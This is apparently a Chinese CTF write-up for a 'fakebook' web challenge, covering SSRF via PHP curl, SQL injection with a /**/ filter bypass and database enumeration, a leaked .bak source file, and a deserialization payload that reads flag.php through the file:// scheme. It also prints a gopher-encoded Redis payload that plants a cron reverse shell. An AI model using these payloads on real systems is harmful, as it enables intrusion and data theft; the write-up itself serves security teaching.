知识点

  • SSRF
  • curl支持file协议
  • sql注入
  • 源码泄露
  • 反序列化

SSRF

SSRF (Server-side Request Forge, 服务端请求伪造)是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统。

漏洞产生原因:
由于服务端提供了从其他服务器应用获取数据的功能且没有对地址和协议等做过滤和限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。举个栗子,漏洞代码ssrf.php

  1. <?php
  2. // 漏洞代码ssrf.php
  3. $ch = curl_init();
  4. curl_setopt($ch, CURLOPT_URL, $_GET['url']);
  5. #curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  6. curl_setopt($ch, CURLOPT_HEADER, 0);
  7. #curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
  8. curl_exec($ch);
  9. curl_close($ch);
  10. ?>

curl支持的协议

  1. lmc ~ curl -V
  2. curl 7.64.1 (x86_64-apple-darwin19.0) libcurl/7.64.1 (SecureTransport) LibreSSL/2.8.3 zlib/1.2.11 nghttp2/1.39.2
  3. Release-Date: 2019-03-27
  4. Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtsp smb smbs smtp smtps telnet tftp
  5. Features: AsynchDNS GSS-API HTTP2 HTTPS-proxy IPv6 Kerberos Largefile libz MultiSSL NTLM NTLM_WB SPNEGO SSL UnixSockets

可以看到该版本支持很多协议,其中dict协议gopher协议http(s)协议以及file协议使用较为广泛。

①:dict协议探测端口

  1. curl -v 'http://a.com/ssrf.php?url=dict://172.0.0.1:22/info'
  2. curl -v 'http://a.com/ssrf.php?url=dict://127.0.0.1:6379/info'

②:利用gopher协议访问redis反弹shell

  1. curl -v 'http://a.com/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a'

启动靶机

启动靶机,进入题目,需要注册一个账号
image.png

1. 发现可能存在sql注入

注册后点进去,注意url很可能是sql注入
image.png

2. 确定存在sql注入

输入单引号发现报错

  1. [*] query error! (You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1)
  2. Fatal error: Call to a member function fetch_assoc() on boolean in /var/www/html/db.php on line 66

3. dirsearch扫描发现源码

使用dirsearch扫描到robots.txt,访问robots.txt发现存在/user.php.bak。下载下来打开:

  1. <?php
  2. class UserInfo
  3. {
  4. public $name = "";
  5. public $age = 0;
  6. public $blog = "";
  7. public function __construct($name, $age, $blog) //构建函数
  8. {
  9. $this->name = $name;
  10. $this->age = (int)$age;
  11. $this->blog = $blog;
  12. }
  13. function get($url)
  14. {
  15. $ch = curl_init(); // curl_init(url)函数,初始化一个新的会话,返回一个cURL句柄
  16. curl_setopt($ch, CURLOPT_URL, $url); // curl_setopt设置 cURL 传输选项,为 cURL 会话句柄设置选项
  17. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  18. $output = curl_exec($ch); // curl_exec — 执行 cURL 会话,返回访问结果
  19. $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); // curl_getinfo — 获取一个cURL连接资源句柄的信息,获取最后一次传输的相关信息。返回状态码。
  20. if($httpCode == 404) {
  21. return 404;
  22. }
  23. curl_close($ch);
  24. return $output;
  25. }
  26. public function getBlogContents ()
  27. {
  28. return $this->get($this->blog);
  29. }
  30. public function isValidBlog ()
  31. {
  32. $blog = $this->blog;
  33. return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
  34. }
  35. }
  • curl_init(url)函数,初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函数使用。参数url如果提供了该参数,CURLOPT_URL 选项将会被设置成这个值。
  • curl_setopt ( resource $ch , int $option , mixed $value ) 设置 cURL 传输选项,为 cURL 会话句柄设置选项。参数:
    • ch:由 curl_init() 返回的 cURL 句柄。
    • option:需要设置的CURLOPT_XXX选项。(CURLOPT_URL:需要获取的 URL 地址,也可以在curl_init() 初始化会话的时候。使用 CURLOPT_RETURNTRANSFER 后总是会返回原生的(Raw)内容。)
    • value:将设置在option选项上的值。
  • curl_getinfo — 获取一个cURL连接资源句柄的信息,获取最后一次传输的相关信息。

4. 分析源码

经过分析源码可得:

  1. 注册界面输入的blog经过了isValidBlog()函数的过滤,不然直接在注册界面blog处输入file:///var/www/html/flag.php就能拿到flag
  2. get()函数存在SSRF漏洞。

5. 尝试注入

(1)判断列数

order by 5时报错,可以判断字段数为4。

  1. ?no=1 order by 4#

(2)/**/绕过空格过滤

输入union select 1,2,3,4提示no hack

  1. ?no=1 union select 1,2,3,4#

于是尝试绕过waf,改为union/**/select后成功绕过,是过滤的空格,并发现回显点在第二列。

  1. ?no=0 union/**/select 1,2,3,4#

image.png

(3)爆数据库

爆数据库为:fakebook。

  1. ?no=0 union/**/select 1,database(),3,4#

(4)爆表

爆表为:users。

  1. ?no=0 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'#

(5)爆列名

爆列名为:no,username,passwd,data

  1. ?no=0 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'#

(6)爆数据

  1. ?no=0 union/**/select 1,group_concat(no,'~',username,'~',passwd,'~',data),3,4 from fakebook.users#

image.png
得到了自己刚刚注册信息的序列化值。

6. 数据以序列化方式存储

注意到data字段的值:

  1. O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:15:"http://admin.io";}

也就意味着view.php将查询到的结果进行了反序列化。
根据报错信息可以知道网站的储存目录为/var/www/html,以及数据库里的数据都是以序列化方式储存。因此只要访问/var/www/html/flag.php就可以拿到flag。
但通过http(s)协议无法读到flag,curl不仅支持http(s)协议,还支持file协议,所以可以通过file协议读文件。
因此可以在查询的时候构造一个反序列化字符串,将blog字段修改为file:///var/www/html/flag.php即可。

7. 利用SSRF漏洞

根据上面的分析,尝试利用ssrf漏洞读取flag.php。于是构造序列化的内容:

  1. O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

8. 最终payload

  1. ?no=0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#

image.png

9.得到flag

查看源代码,将链接中的base64进行得到flag
image.png

  1. <?php
  2. $flag = "flag{35b3e01b-036c-49fe-b7d8-b405c1e308e1}";
  3. exit(0);

[

](https://blog.csdn.net/qq_45708109/article/details/107782523)